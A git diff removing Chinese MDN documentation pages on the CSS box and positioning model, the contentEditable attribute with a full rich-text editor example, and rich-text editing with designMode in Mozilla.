注意:开始的时候,原子行内级盒子叫做原子行内盒子,这并不准确,因为它们并不是行内盒子。后来在一次勘误时修正了这一问题。不过,当你见到某些文章中使用了“原子行内盒子”的时候,你尽可以将其理解为“原子行内级盒子”,因为这仅仅是一个名字的修改。

-
- -
-

在同一个行内格式化上下文中,原子行内级盒子不能拆分成多行:

- -
<style>
-  span {
-    display:inline; /* default value*/
-  }
-</style>
-<div style="width:20em;">
-   The text in the span <span>can be split in several
-   lines as it</span> is an inline box.
-</div>
-
- -

可能会显示为:

- -

The text in the span can be split into several
- lines as it is an inline box.

- -

而:

- -
<style>
-  span {
-    display:inline-block;
-  }
-</style>
-<div style="width:20em;">
-   The text in the span <span>cannot be split in several
-   lines as it</span> is an inline-block box.
-</div>
-
- -

则可能显示为:

- -

The text in the span 
- cannot be split into several lines as it is an
- inline-block box.

- -

其中的“cannot be split into several lines as it”永远不会换行。

-
- -

匿名行内盒子

- -
类似于块盒子,CSS引擎有时候也会自动创建一些行内盒子。这些行内盒子无法被选择符选中,因此是匿名的,它们从父元素那里继承那些可继承的属性,其他属性保持默认值 initial
- -
 
- -
一种常见的情况是CSS引擎会自动为直接包含在块盒子中的文本创建一个行内格式化上下文,在这种情况下,这些文本会被一个足够大的匿名行内盒子所包含。但是如果仅包含空格则有可能不会生成匿名行内盒子,因为空格有可能会由于 {{ cssxref("white-space") }} 的设置而被移除,从而导致最终的实际内容为空。
- -
 
- -
示例 TBD
- -

其他类型的盒子

- -

行盒子

- -

行盒子由行内格式化上下文创建,用来显示一行文本。在块盒子内部,行盒子总是从块盒子的一边延伸到另一边(译注:即占据整个块盒子的宽度)。当有浮动元素时,行盒子会从向左浮动的元素的右边缘延伸到向右浮动的元素的左边缘。

- -
行盒子更多是以技术性目的而存在的,Web开发者通常不需要关心。
- -

Run-in 盒子

- -
Run-in 盒子通过 display:run-in 来定义,它可以是块盒子,也可以是行内盒子,这取决于紧随其后的盒子的类型。Run-in 盒子可以用来在可能的情况下将标题嵌入文章的第一个段落中。
- -
 
- -
-

注意:Run-in 盒子已经在CSS 2.1的标准中移除了,但可能会在CSS 3中作为一个实验性的内容再次加入。因此最好不要将其用于正式项目。

-
- -

由其他模型引入的盒子

- -
除了行内格式化上下文和块格式化上下文之外,CSS还定义了几种内容模型,这些模型同样可以应用于元素。这些模型一般用来描述布局,它们可能会定义一些额外的盒子类型:
- -
 
- -
    -
  • 表格内容模型可能会创建一个表格包装器盒子和一个表格盒子,以及多个其他盒子如表格标题盒子等
  • -
  • 多列内容模型可能会在容器盒子和内容之间创建多个列盒子
  • -
  • 实验性的网格内容模型或flex-box内容模型同样会创建一些其他种类的盒子
  • -
- -

定位规则

- -

一旦生成了盒子以后,CSS引擎就需要定位它们以完成布局。下面是定位盒子时所使用的规则:

- -
    -
  • 普通流:按照次序依次定位每个盒子
  • -
  • 浮动:将盒子从普通流中单独拎出来,将其放到外层盒子的某一边
  • -
  • 绝对定位:按照绝对位置来定位盒子,其位置根据盒子的包含元素所建立的绝对坐标系来计算,因此绝对定位元素有可能会覆盖其他元素
  • -
- -

普通流

- -
在普通流中,盒子会依次放置。在块格式化上下文中,盒子在垂直方向依次排列;而在行内格式化上下文中,盒子则水平排列。当CSS的 {{ cssxref("position") }} 属性为 static 或 relative,并且 {{ cssxref("float") }} 为 none 时,其布局方式为普通流。
- -

示例

- -
-

在普通流的块格式化上下文中,盒子会垂直依次排列:

- -

[TODO 图片]

- -

在普通流的行内格式化上下文中,盒子会水平依次排列:

- -

[TODO 图片]

-
- -
-

普通流又有两种情况:静态定位和相对定位:

- -

{{ cssxref("position") }} 为 static 时为静态定位,此时每个盒子根据普通流所计算出的确切位置来定位。

- -

[TODO 图片]

- -

当 {{ cssxref("position") }} 为 relative 时为相对定位,此时每个盒子还会根据 {{ cssxref("top") }}、{{ cssxref("bottom") }}、{{ cssxref("left") }} 和 {{ cssxref("right") }} 属性的值在其原本所在的位置上产生指定大小的偏移。

-
- -

浮动

- -

在浮动定位中,浮动盒子会浮动到当前行的开始或尾部位置。这会导致普通流中的文本及其他内容会“流”到浮动盒子的边缘处,除非元素通过 {{ cssxref("clear") }} 清除了前面的浮动。

- -

一个盒子的 {{ cssxref("float") }} 值不为 none,并且其 {{ cssxref("position") }} 为 static 或 relative 时,该盒子为浮动定位。如果将 {{ cssxref("float") }} 设置为 left,浮动盒子会定位到当前行盒子的开始位置(左侧),如果设置为 right,浮动盒子会定位到当前行盒子的尾部位置(右侧)。不管是左浮动还是右浮动,行盒子都会伸缩以适应浮动盒子的大小。

- -

[TODO 图片]

- -

绝对定位

- -

在绝对定位中,盒子会完全从当前流中移除,并且不会再与其有任何联系(译注:此处仅指定位和位置计算,而绝对定位的元素在文档树中仍然与其他元素有父子或兄弟等关系),其位置会使用 {{ cssxref("top") }}、{{ cssxref("bottom") }}、{{ cssxref("left") }} 和 {{ cssxref("right") }} 相对其包含块进行计算。

- -

如果元素的 {{ cssxref("position") }} 为 absolute 或 fixed,该元素为绝对定位。

- -

对固定位置的元素来说,其包含块为整个视口,该元素相对视口进行绝对定位,因此滚动时元素的位置并不会改变。

- -

参见

- -
    -
  • {{css_key_concepts}}
  • -
diff --git a/files/zh-cn/web/guide/html/content_editable/index.html b/files/zh-cn/web/guide/html/content_editable/index.html deleted file mode 100644 index 00f44d6fd7..0000000000 --- a/files/zh-cn/web/guide/html/content_editable/index.html +++ /dev/null @@ -1,219 +0,0 @@ ---- -title: Content Editable -slug: Web/Guide/HTML/Content_Editable -translation_of: Web/Guide/HTML/Editable_content ---- -

在HTML中,任何元素都可以被编辑。通过使用一些JavaScript事件处理程序,您可以将您的网页转换为完整且快速的富文本编辑器。本文提供了有关此功能的一些信息。

- -

它是如何工作的?

- -

为了使元素可编辑,你所要做的就是在html标签上设置"contenteditable"属性,它几乎支持所有的HTML元素。

- -

下面是一个简单的示例,创建一个"contenteditable"属性为"true"的div元素,用户就可以编辑其内容了。

- -
<div contenteditable="true">
-  This text can be edited by the user.
-</div>
- -

这是上面代码运行的结果:

- -

{{ EmbedLiveSample('How_does_it_work') }}

- -

执行命令设置可编辑区域

- -

当一个HTML元素的contenteditable属性被设置为true时,{{ domxref("document.execCommand()") }} 方法便可使用。通过该方法,你可以运行相关commands 来操作可编辑区域的内容。其中大多数命令都会影响文档的选择,例如,给文本提供一个样式(加粗,倾斜等)、插入新元素(如增加一个链接)、影响一整行文本(如缩进排版)。当使用contentEditable后,调用execCommand()方法将影响当前处于活动状态的可编辑元素

- -

在标记生成上的不同点

- -

因为各个浏览器在标记生成上的不同,因此跨浏览器使用 contenteditable 一直以来都是痛点,例如一些看起来十分简单的事情,如: 当你按下Enter/Return键在可编辑区域中创建一个新的文本行时,不同主流浏览器对此有不同处理(Firefox 插入{{htmlelement("br")}}、IE/Opera将使用{{htmlelement("p")}}、 Chrome/Safari 将使用 {{htmlelement("div")}})

- -

幸运的是在现代浏览器中,这些不同都趋于一致了。截止到Firefox 60,火狐开始使用{{htmlelement("div")}}元素来包裹新生成的文本行,以与Chrome, modern Opera, Edge, and Safari.的行为趋于一致

- -
-

注意: Internet Explorer使用 {{htmlelement("p")}} 元素而不是 <div>.

-
- -

如果你想使用不同的方式创建新的段落,上面所有浏览器都支持{{domxref("document.execCommand")}}方法,该方法提供的 defaultParagraphSeparator 命令能够让你以不同的方式创建新的段落例如, 使用 {{htmlelement("p")}} 元素:

- -
document.execCommand("defaultParagraphSeparator", false, "p");
- -

另外,从FireFox 55开始,火狐还为defaultParagraphSeparator支持非标准化参数br。如果你的Web应用程序通过检查浏览器是否为火狐来支持旧的FireFox行为,这将非常有用。但不幸的是,你并没有多少时间来为新的Firefox修复你的Web应用,你可以在初始化designModecontenteditable时插入下面的代码来恢复较早的Firefox行为:

- -
document.execCommand("defaultParagraphSeparator", false, "br");
- -

安全性

- -

出于安全原因,火狐浏览器默认不允许JavaScript代码使用剪贴板相关特性(如复制、粘贴等)。你可以在about:config中设置如下选项来启用它们:

- -
user_pref("capability.policy.policynames", "allowclipboard");
-user_pref("capability.policy.allowclipboard.sites", "https://www.mozilla.org");
-user_pref("capability.policy.allowclipboard.Clipboard.cutcopy", "allAccess");
-user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess");
- -

例子:一个简单但完整的富文本编辑器

- -
-
<!doctype html>
-<html>
-<head>
-<title>Rich Text Editor</title>
-<script type="text/javascript">
-var oDoc, sDefTxt;
-
-function initDoc() {
-  oDoc = document.getElementById("textBox");
-  sDefTxt = oDoc.innerHTML;
-  if (document.compForm.switchMode.checked) { setDocMode(true); }
-}
-
-function formatDoc(sCmd, sValue) {
-  if (validateMode()) { document.execCommand(sCmd, false, sValue); oDoc.focus(); }
-}
-
-function validateMode() {
-  if (!document.compForm.switchMode.checked) { return true ; }
-  alert("Uncheck \"Show HTML\".");
-  oDoc.focus();
-  return false;
-}
-
-function setDocMode(bToSource) {
-  var oContent;
-  if (bToSource) {
-    oContent = document.createTextNode(oDoc.innerHTML);
-    oDoc.innerHTML = "";
-    var oPre = document.createElement("pre");
-    oDoc.contentEditable = false;
-    oPre.id = "sourceText";
-    oPre.contentEditable = true;
-    oPre.appendChild(oContent);
-    oDoc.appendChild(oPre);
-    document.execCommand("defaultParagraphSeparator", false, "div");
-  } else {
-    if (document.all) {
-      oDoc.innerHTML = oDoc.innerText;
-    } else {
-      oContent = document.createRange();
-      oContent.selectNodeContents(oDoc.firstChild);
-      oDoc.innerHTML = oContent.toString();
-    }
-    oDoc.contentEditable = true;
-  }
-  oDoc.focus();
-}
-
-function printDoc() {
-  if (!validateMode()) { return; }
-  var oPrntWin = window.open("","_blank","width=450,height=470,left=400,top=100,menubar=yes,toolbar=no,location=no,scrollbars=yes");
-  oPrntWin.document.open();
-  oPrntWin.document.write("<!doctype html><html><head><title>Print<\/title><\/head><body onload=\"print();\">" + oDoc.innerHTML + "<\/body><\/html>");
-  oPrntWin.document.close();
-}
-</script>
-<style type="text/css">
-.intLink { cursor: pointer; }
-img.intLink { border: 0; }
-#toolBar1 select { font-size:10px; }
-#textBox {
-  width: 540px;
-  height: 200px;
-  border: 1px #000000 solid;
-  padding: 12px;
-  overflow: scroll;
-}
-#textBox #sourceText {
-  padding: 0;
-  margin: 0;
-  min-width: 498px;
-  min-height: 200px;
-}
-#editMode label { cursor: pointer; }
-</style>
-</head>
-<body onload="initDoc();">
-<form name="compForm" method="post" action="sample.php" onsubmit="if(validateMode()){this.myDoc.value=oDoc.innerHTML;return true;}return false;">
-<input type="hidden" name="myDoc">
-<div id="toolBar1">
-<select onchange="formatDoc('formatblock',this[this.selectedIndex].value);this.selectedIndex=0;">
-<option selected>- formatting -</option>
-<option value="h1">Title 1 &lt;h1&gt;</option>
-<option value="h2">Title 2 &lt;h2&gt;</option>
-<option value="h3">Title 3 &lt;h3&gt;</option>
-<option value="h4">Title 4 &lt;h4&gt;</option>
-<option value="h5">Title 5 &lt;h5&gt;</option>
-<option value="h6">Subtitle &lt;h6&gt;</option>
-<option value="p">Paragraph &lt;p&gt;</option>
-<option value="pre">Preformatted &lt;pre&gt;</option>
-</select>
-<select onchange="formatDoc('fontname',this[this.selectedIndex].value);this.selectedIndex=0;">
-<option class="heading" selected>- font -</option>
-<option>Arial</option>
-<option>Arial Black</option>
-<option>Courier New</option>
-<option>Times New Roman</option>
-</select>
-<select onchange="formatDoc('fontsize',this[this.selectedIndex].value);this.selectedIndex=0;">
-<option class="heading" selected>- size -</option>
-<option value="1">Very small</option>
-<option value="2">A bit small</option>
-<option value="3">Normal</option>
-<option value="4">Medium-large</option>
-<option value="5">Big</option>
-<option value="6">Very big</option>
-<option value="7">Maximum</option>
-</select>
-<select onchange="formatDoc('forecolor',this[this.selectedIndex].value);this.selectedIndex=0;">
-<option class="heading" selected>- color -</option>
-<option value="red">Red</option>
-<option value="blue">Blue</option>
-<option value="green">Green</option>
-<option value="black">Black</option>
-</select>
-<select onchange="formatDoc('backcolor',this[this.selectedIndex].value);this.selectedIndex=0;">
-<option class="heading" selected>- background -</option>
-<option value="red">Red</option>
-<option value="green">Green</option>
-<option value="black">Black</option>
-</select>
-</div>
-<div id="toolBar2">
-<img class="intLink" title="Clean" onclick="if(validateMode()&&confirm('Are you sure?')){oDoc.innerHTML=sDefTxt};" src="data:image/gif;base64,R0lGODlhFgAWAIQbAD04KTRLYzFRjlldZl9vj1dusY14WYODhpWIbbSVFY6O7IOXw5qbms+wUbCztca0ccS4kdDQjdTLtMrL1O3YitHa7OPcsd/f4PfvrvDv8Pv5xv///////////////////yH5BAEKAB8ALAAAAAAWABYAAAV84CeOZGmeaKqubMteyzK547QoBcFWTm/jgsHq4rhMLoxFIehQQSAWR+Z4IAyaJ0kEgtFoLIzLwRE4oCQWrxoTOTAIhMCZ0tVgMBQKZHAYyFEWEV14eQ8IflhnEHmFDQkAiSkQCI2PDC4QBg+OAJc0ewadNCOgo6anqKkoIQA7" />
-<img class="intLink" title="Print" onclick="printDoc();" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oEBxcZFmGboiwAAAAIdEVYdENvbW1lbnQA9syWvwAAAuFJREFUOMvtlUtsjFEUx//n3nn0YdpBh1abRpt4LFqtqkc3jRKkNEIsiIRIBBEhJJpKlIVo4m1RRMKKjQiRMJRUqUdKPT71qpIpiRKPaqdF55tv5vvusZjQTjOlseUkd3Xu/3dPzusC/22wtu2wRn+jG5So/OCDh8ycMJDflehMlkJkVK7KUYN+ufzA/RttH76zaVocDptRxzQtNi3mRWuPc+6cKtlXZ/sddP2uu9uXlmYXZ6Qm8v4Tz8lhF1H+zDQXt7S8oLMXtbF4e8QaFHjj3kbP2MzkktHpiTjp9VH6iHiA+whtAsX5brpwueMGdONdf/2A4M7ukDs1JW662+XkqTkeUoqjKtOjm2h53YFL15pSJ04Zc94wdtibr26fXlC2mzRvBccEbz2kiRFD414tKMlEZbVGT33+qCoHgha81SWYsew0r1uzfNylmtpx80pngQQ91LwVk2JGvGnfvZG6YcYRAT16GFtW5kKKfo1EQLtfh5Q2etT0BIWF+aitq4fDbk+ImYo1OxvGF03waFJQvBCkvDffRyEtxQiFFYgAZTHS0zwAGD7fG5TNnYNTp8/FzvGwJOfmgG7GOx0SAKKgQgDMgKBI0NJGMEImpGDk5+WACEwEd0ywblhGUZ4Hw5OdUekRBLT7DTgdEgxACsIznx8zpmWh7k4rkpJcuHDxCul6MDsmmBXDlWCH2+XozSgBnzsNCEE4euYV4pwCpsWYPW0UHDYBKSWu1NYjENDReqtKjwn2+zvtTc1vMSTB/mvev/WEYSlASsLimcOhOBJxw+N3aP/SjefNL5GePZmpu4kG7OPr1+tOfPyUu3BecWYKcwQcDFmwFKAUo90fhKDInBCAmvqnyMgqUEagQwCoHBDc1rjv9pIlD8IbVkz6qYViIBQGTJPx4k0XpIgEZoRN1Da0cij4VfR0ta3WvBXH/rjdCufv6R2zPgPH/e4pxSBCpeatqPrjNiso203/5s/zA171Mv8+w1LOAAAAAElFTkSuQmCC">
-<img class="intLink" title="Undo" onclick="formatDoc('undo');" src="data:image/gif;base64,R0lGODlhFgAWAOMKADljwliE33mOrpGjuYKl8aezxqPD+7/I19DV3NHa7P///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARR8MlJq7046807TkaYeJJBnES4EeUJvIGapWYAC0CsocQ7SDlWJkAkCA6ToMYWIARGQF3mRQVIEjkkSVLIbSfEwhdRIH4fh/DZMICe3/C4nBQBADs=" />
-<img class="intLink" title="Redo" onclick="formatDoc('redo');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAB1ChDljwl9vj1iE34Kl8aPD+7/I1////yH5BAEKAAcALAAAAAAWABYAAANKeLrc/jDKSesyphi7SiEgsVXZEATDICqBVJjpqWZt9NaEDNbQK1wCQsxlYnxMAImhyDoFAElJasRRvAZVRqqQXUy7Cgx4TC6bswkAOw==" />
-<img class="intLink" title="Remove formatting" onclick="formatDoc('removeFormat')" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAAd0SU1FB9oECQMCKPI8CIIAAAAIdEVYdENvbW1lbnQA9syWvwAAAuhJREFUOMtjYBgFxAB501ZWBvVaL2nHnlmk6mXCJbF69zU+Hz/9fB5O1lx+bg45qhl8/fYr5it3XrP/YWTUvvvk3VeqGXz70TvbJy8+Wv39+2/Hz19/mGwjZzuTYjALuoBv9jImaXHeyD3H7kU8fPj2ICML8z92dlbtMzdeiG3fco7J08foH1kurkm3E9iw54YvKwuTuom+LPt/BgbWf3//sf37/1/c02cCG1lB8f//f95DZx74MTMzshhoSm6szrQ/a6Ir/Z2RkfEjBxuLYFpDiDi6Af///2ckaHBp7+7wmavP5n76+P2ClrLIYl8H9W36auJCbCxM4szMTJac7Kza////R3H1w2cfWAgafPbqs5g7D95++/P1B4+ECK8tAwMDw/1H7159+/7r7ZcvPz4fOHbzEwMDwx8GBgaGnNatfHZx8zqrJ+4VJBh5CQEGOySEua/v3n7hXmqI8WUGBgYGL3vVG7fuPK3i5GD9/fja7ZsMDAzMG/Ze52mZeSj4yu1XEq/ff7W5dvfVAS1lsXc4Db7z8C3r8p7Qjf///2dnZGxlqJuyr3rPqQd/Hhyu7oSpYWScylDQsd3kzvnH738wMDzj5GBN1VIWW4c3KDon7VOvm7S3paB9u5qsU5/x5KUnlY+eexQbkLNsErK61+++VnAJcfkyMTIwffj0QwZbJDKjcETs1Y8evyd48toz8y/ffzv//vPP4veffxpX77z6l5JewHPu8MqTDAwMDLzyrjb/mZm0JcT5Lj+89+Ybm6zz95oMh7s4XbygN3Sluq4Mj5K8iKMgP4f0////fv77//8nLy+7MCcXmyYDAwODS9jM9tcvPypd35pne3ljdjvj26+H2dhYpuENikgfvQeXNmSl3tqepxXsqhXPyc666s+fv1fMdKR3TK72zpix8nTc7bdfhfkEeVbC9KhbK/9iYWHiErbu6MWbY/7//8/4//9/pgOnH6jGVazvFDRtq2VgiBIZrUTIBgCk+ivHvuEKwAAAAABJRU5ErkJggg==">
-<img class="intLink" title="Bold" onclick="formatDoc('bold');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAInhI+pa+H9mJy0LhdgtrxzDG5WGFVk6aXqyk6Y9kXvKKNuLbb6zgMFADs=" />
-<img class="intLink" title="Italic" onclick="formatDoc('italic');" src="data:image/gif;base64,R0lGODlhFgAWAKEDAAAAAF9vj5WIbf///yH5BAEAAAMALAAAAAAWABYAAAIjnI+py+0Po5x0gXvruEKHrF2BB1YiCWgbMFIYpsbyTNd2UwAAOw==" />
-<img class="intLink" title="Underline" onclick="formatDoc('underline');" src="data:image/gif;base64,R0lGODlhFgAWAKECAAAAAF9vj////////yH5BAEAAAIALAAAAAAWABYAAAIrlI+py+0Po5zUgAsEzvEeL4Ea15EiJJ5PSqJmuwKBEKgxVuXWtun+DwxCCgA7" />
-<img class="intLink" title="Left align" onclick="formatDoc('justifyleft');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JMGELkGYxo+qzl4nKyXAAAOw==" />
-<img class="intLink" title="Center align" onclick="formatDoc('justifycenter');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIfhI+py+0Po5y02ouz3jL4D4JOGI7kaZ5Bqn4sycVbAQA7" />
-<img class="intLink" title="Right align" onclick="formatDoc('justifyright');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JQGDLkGYxouqzl43JyVgAAOw==" />
-<img class="intLink" title="Numbered list" onclick="formatDoc('insertorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAADljwliE35GjuaezxtHa7P///////yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKSespwjoRFvggCBUBoTFBeq6QIAysQnRHaEOzyaZ07Lu9lUBnC0UGQU1K52s6n5oEADs=" />
-<img class="intLink" title="Dotted list" onclick="formatDoc('insertunorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAAB1ChF9vj1iE33mOrqezxv///////yH5BAEAAAcALAAAAAAWABYAAAMyeLrc/jDKSesppNhGRlBAKIZRERBbqm6YtnbfMY7lud64UwiuKnigGQliQuWOyKQykgAAOw==" />
-<img class="intLink" title="Quote" onclick="formatDoc('formatblock','blockquote');" src="data:image/gif;base64,R0lGODlhFgAWAIQXAC1NqjFRjkBgmT9nqUJnsk9xrFJ7u2R9qmKBt1iGzHmOrm6Sz4OXw3Odz4Cl2ZSnw6KxyqO306K63bG70bTB0rDI3bvI4P///////////////////////////////////yH5BAEKAB8ALAAAAAAWABYAAAVP4CeOZGmeaKqubEs2CekkErvEI1zZuOgYFlakECEZFi0GgTGKEBATFmJAVXweVOoKEQgABB9IQDCmrLpjETrQQlhHjINrTq/b7/i8fp8PAQA7" />
-<img class="intLink" title="Delete indentation" onclick="formatDoc('outdent');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAAAAADljwliE35GjuaezxtDV3NHa7P///yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKCQG9F2i7u8agQgyK1z2EIBil+TWqEMxhMczsYVJ3e4ahk+sFnAgtxSQDqWw6n5cEADs=" />
-<img class="intLink" title="Add indentation" onclick="formatDoc('indent');" src="data:image/gif;base64,R0lGODlhFgAWAOMIAAAAADljwl9vj1iE35GjuaezxtDV3NHa7P///////////////////////////////yH5BAEAAAgALAAAAAAWABYAAAQ7EMlJq704650B/x8gemMpgugwHJNZXodKsO5oqUOgo5KhBwWESyMQsCRDHu9VOyk5TM9zSpFSr9gsJwIAOw==" />
-<img class="intLink" title="Hyperlink" onclick="var sLnk=prompt('Write the URL here','http:\/\/');if(sLnk&&sLnk!=''&&sLnk!='http://'){formatDoc('createlink',sLnk)}" src="data:image/gif;base64,R0lGODlhFgAWAOMKAB1ChDRLY19vj3mOrpGjuaezxrCztb/I19Ha7Pv8/f///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARY8MlJq7046827/2BYIQVhHg9pEgVGIklyDEUBy/RlE4FQF4dCj2AQXAiJQDCWQCAEBwIioEMQBgSAFhDAGghGi9XgHAhMNoSZgJkJei33UESv2+/4vD4TAQA7" />
-<img class="intLink" title="Cut" onclick="formatDoc('cut');" src="data:image/gif;base64,R0lGODlhFgAWAIQSAB1ChBFNsRJTySJYwjljwkxwl19vj1dusYODhl6MnHmOrpqbmpGjuaezxrCztcDCxL/I18rL1P///////////////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAVu4CeOZGmeaKqubDs6TNnEbGNApNG0kbGMi5trwcA9GArXh+FAfBAw5UexUDAQESkRsfhJPwaH4YsEGAAJGisRGAQY7UCC9ZAXBB+74LGCRxIEHwAHdWooDgGJcwpxDisQBQRjIgkDCVlfmZqbmiEAOw==" />
-<img class="intLink" title="Copy" onclick="formatDoc('copy');" src="data:image/gif;base64,R0lGODlhFgAWAIQcAB1ChBFNsTRLYyJYwjljwl9vj1iE31iGzF6MnHWX9HOdz5GjuYCl2YKl8ZOt4qezxqK63aK/9KPD+7DI3b/I17LM/MrL1MLY9NHa7OPs++bx/Pv8/f///////////////yH5BAEAAB8ALAAAAAAWABYAAAWG4CeOZGmeaKqubOum1SQ/kPVOW749BeVSus2CgrCxHptLBbOQxCSNCCaF1GUqwQbBd0JGJAyGJJiobE+LnCaDcXAaEoxhQACgNw0FQx9kP+wmaRgYFBQNeAoGihCAJQsCkJAKOhgXEw8BLQYciooHf5o7EA+kC40qBKkAAAGrpy+wsbKzIiEAOw==" />
-<img class="intLink" title="Paste" onclick="formatDoc('paste');" src="data:image/gif;base64,R0lGODlhFgAWAIQUAD04KTRLY2tXQF9vj414WZWIbXmOrpqbmpGjudClFaezxsa0cb/I1+3YitHa7PrkIPHvbuPs+/fvrvv8/f///////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAWN4CeOZGmeaKqubGsusPvBSyFJjVDs6nJLB0khR4AkBCmfsCGBQAoCwjF5gwquVykSFbwZE+AwIBV0GhFog2EwIDchjwRiQo9E2Fx4XD5R+B0DDAEnBXBhBhN2DgwDAQFjJYVhCQYRfgoIDGiQJAWTCQMRiwwMfgicnVcAAAMOaK+bLAOrtLUyt7i5uiUhADs=" />
-</div>
-<div id="textBox" contenteditable="true"><p>Lorem ipsum</p></div>
-<p id="editMode"><input type="checkbox" name="switchMode" id="switchBox" onchange="setDocMode(this.checked);" /> <label for="switchBox">Show HTML</label></p>
-<p><input type="submit" value="Send" /></p>
-</form>
-</body>
-</html>
-
-
- -
注意: 如果你想知道如何标准的在你的页面中创建和插入编辑器,请查阅 更多完整的富文本编辑器例子.
- -

相关链接

- -
    -
  • {{domxref("HTMLElement.contentEditable")}}
  • -
  • 全局属性 {{htmlattrxref("contenteditable")}} 
  • -
  • Midas (支持脚本的文本编辑器组件)
  • -
  • {{cssxref("caret-color")}}, 用来设置文本插入光标的颜色
  • -
diff --git a/files/zh-cn/web/guide/html/content_editable/rich-text_editing_in_mozilla/index.html b/files/zh-cn/web/guide/html/content_editable/rich-text_editing_in_mozilla/index.html deleted file mode 100644 index f237e94b61..0000000000 --- a/files/zh-cn/web/guide/html/content_editable/rich-text_editing_in_mozilla/index.html +++ /dev/null @@ -1,272 +0,0 @@ ---- -title: Mozilla中的富文本编辑器 -slug: Web/Guide/HTML/Content_Editable/Rich-Text_Editing_in_Mozilla -tags: - - 富文本 - - 指南 -translation_of: Web/Guide/HTML/Editable_content/Rich-Text_Editing_in_Mozilla ---- -

Mozilla 1.3 实现了微软 IE 浏览器的 designMode 特性。Mozilla 1.3 的富文本编辑器支持的 designMode 特性能将 HTML 文档转换为富文本编辑器。从 Firefox 3 开始,Mozilla 也支持 IE 的 contentEditable 属性,该属性允许将任意元素设置为可编辑或不可编辑的(后者可阻止在可编辑环境中,对固定元素的改变)。

- -

配置富文本编辑

- -

富文本编辑通过设置文档的 "designMode" 属性为 "On" 来初始化。一旦 designMode 设置为 "On" ,该文档即成为用户能够按使用 textarea 方式操作的富文本编辑区域。复制和粘贴等最基础的键盘操作可用,而其它命令则需通过站点实现。

- -

类似地,将 "contentEditable" 属性设置为 "true" 后,用户能够将文档中的独立元素设置为可编辑的。

- -

执行命令

- -

当 HTML 文档切换至 designMode 时,文档对象将暴露出 "document.execCommand" 方法,允许用户运行命令以操作可编辑区域的内容。多数命令影响文档的选中区域(加粗、斜体等),而其余命令则可插入新元素(添加新行)或影响整行(缩进)。当使用 contentEditable 时,调用 execCommand 将影响当前活跃的可编辑元素。

- -

与 IE 区别

- -

Mozilla 与 IE 在 designMode 下的一个显著区别在于可编辑区域中所生成的代码。在 IE 中使用 em 与 i 等 HTML 标签,而 Mozilla 则默认生成带有内联样式规则的 span 标签。可通过 styleWithCSS 命令以在 CSS 与 HTML 标记中切换。

- -

Figure 1 : 生成 HTML 的区别

- -

Mozilla:

- -
<span style="font-weight: bold;">I love geckos.</span>
-<span style="font-weight: bold; font-style: italic;
-    text-decoration: underline;">Dinosaurs are big.</span>
- -

Internet Explorer:

- -
<STRONG>I love geckos.</STRONG>
-<STRONG><EM><U>Dinosaurs are big.</U></EM></STRONG>
-
- -

Mozilla 与 IE 的另一个区别是在与 designMode 结合使用的场景中,其访问 iframe 中文档对象的方式。Mozilla 使用了 W3C 的标准方式,即 IFrameElement.contentDocument,而 IE 则使用了 IFrameElement.document.

- -

DevEdge 提供了一个 JavaScript 辅助工具类,xbDesignMode它封装了 IE 与 Mozilla 之间的 designMode 差异特性。

- -


- 禁用事件处理

- -

另一额外的区别在于,Mozilla 中一旦切换至 designMode,那么该文档上绑定的全部事件将被禁用。在 designMode 关闭后(如在 Mozilla 1.5 中可用),事件重新可用。

- -

在 Migrate apps from Internet Explorer to Mozilla 中的 Rich text editing 章节可查看更多信息。

- -

示例

- -

示例 1

- -

第一个示例中,将 HTML 文档中的 designMode 设置为 "On"。在 Mozilla 1.3 中这将使整篇文档均可编辑。但在 IE 中并不支持通过 JavaScript 改变文档的 designMode 特性。需要兼容 IE 时,body 标签中的 contentEditable 属性需要设置为 "true"。

- -

Figure 2 : 第一个示例

- -
HTML:
-<body contentEditable="true" onload="load()">
-
-JavaScript:
-function load(){
-  window.document.designMode = "On";
-}
- -

示例 2

- -

第二个示例是一个支持文本加粗、斜体、下划线,以及添加链接、改变文本颜色等特性的富文本编辑页面。示例页面带有一个作为富文本编辑区域的 iframe 区域,以及用于实现基础编辑命令的加粗、斜体、文本颜色等编辑元素。

- -

Figure 3 : 配置富文本编辑

- -
HTML:
-<body onload="load()">
-
-JavaScript:
-function load(){
-  getIFrameDocument("editorWindow").designMode = "On";
-}
-//获取对象
-function getIFrameDocument(aID){
-  // if contentDocument exists, W3C compliant (Mozilla)
-  if (document.getElementById(aID).contentDocument){
-    return document.getElementById(aID).contentDocument;
-  } else {
-    // IE
-    return document.frames[aID].document;
-  }
-}
-
- -

该示例包含了 doRichEditCommand 函数以简化对 iframe 的命令操作,并保持 HTML 代码的整洁。执行所需命令的函数使用了 execCommand() 并将焦点设回可编辑文档,以避免点击按钮等操作时的焦点设置打断编辑流程。

- -

Figure 4 : 执行富文本编辑命令

- -
HTML:
-<button onclick="doRichEditCommand('bold')" style="font-weight:bold;">B</button>
-
